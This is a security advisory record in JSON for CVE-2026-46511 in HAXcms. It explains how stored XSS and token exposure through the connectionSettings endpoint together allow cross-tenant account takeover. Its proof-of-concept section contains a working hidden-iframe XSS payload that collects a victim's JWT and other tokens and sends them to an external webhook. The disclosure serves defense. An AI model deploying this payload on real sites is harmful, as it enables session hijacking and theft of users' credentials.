CVE-2026-46511: HAXcms Mass Token Exfiltration And Cross-Tenant Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x3x5-7h4h-gwxg",
  "modified" : "2026-06-09T11:56:58Z",
  "published" : "2026-05-19T14:47:03Z",
  "aliases" : [ "CVE-2026-46511" ],
  "summary" : "HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack ",
  "details" : "### Summary\nAn attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.\n\n### Details\nIn `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a \"skeleton key\" because it aggregates all necessary operational tokens for the active session. \n\nWhile HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:\n1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `<video-player>`).\n2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys.\n3. **The Chain**: HAXcms isolates user environments by URL path (`/<username>/`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('/<username>/system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens.\n\n### PoC\n**1. Setup the Webhook Target**\nPrepare an external webhook (e.g., `webhook.site`) to receive the stolen data.\n\n**2. Inject the \"Kill Chain\" Payload**\nAs an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `<iframe>`):\n\n```html\n<iframe srcdoc=\"<script>\n    const targetUsername = 'bto108'; // Replace with target victim\n\n    fetch(`/${targetUsername}/system/api/connectionSettings`)\n      .then(res => res.text())\n      .then(data => {\n          const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1));\n          \n          const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token');\n          const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token');\n          \n          let aToken = 'N/A';\n          if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) {\n              aToken = s.appStore.params.appstore_token;\n          }\n\n          // Exfiltrate via Image Request to bypass CORS\n          const payload = btoa(JSON.stringify({\n              target: targetUsername, \n              jwt: s.jwt, \n              user_token: uToken, \n              site_token: sToken, \n              appstore_token: aToken\n          }));\n          \n          new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;\n      });\n</script>\" style=\"display:none\"></iframe>\n```\n\n**3. Execution & Verification**\n- When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie.\n- The server responds with their connection settings.\n- The script parses their `jwt`, `user_token`, and other keys, encoding them in base64.\n- The attacker receives the full JWT and token dump on their webhook.\n\n*Screenshots confirming the data leakage and webhook capture:*\n![Connection Settings Exposure](https://github.com/user-attachments/assets/1aeee4ee-9475-4430-b4d3-3c6254075d11)\n![Secondary Settings Leak](https://github.com/user-attachments/assets/7179c1a5-2bfb-4ab6-ba1d-29bcb61a74d3)\n![Cross-tenant Exfiltration Console](https://github.com/user-attachments/assets/1abd21ec-fd45-4bd8-ba67-9c0bb19e6b08)\n![Webhook Payload Capture](https://github.com/user-attachments/assets/751e5cab-f4ad-4ab4-b276-86bf738f0434)\n![Stolen Data Result](https://github.com/user-attachments/assets/a41e15f7-1652-4351-8cc9-a423f6220158)\n\n\n### Impact\n**Critical Severity.** \nThis attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).\n\nThe reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@haxtheweb/haxcms-nodejs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.0.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 25.0.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/haxtheweb/issues/security/advisories/GHSA-x3x5-7h4h-gwxg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46511"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/haxtheweb/issues"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-522", "CWE-79", "CWE-922" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T14:47:03Z",
    "nvd_published_at" : "2026-06-05T19:16:34Z"
  }
}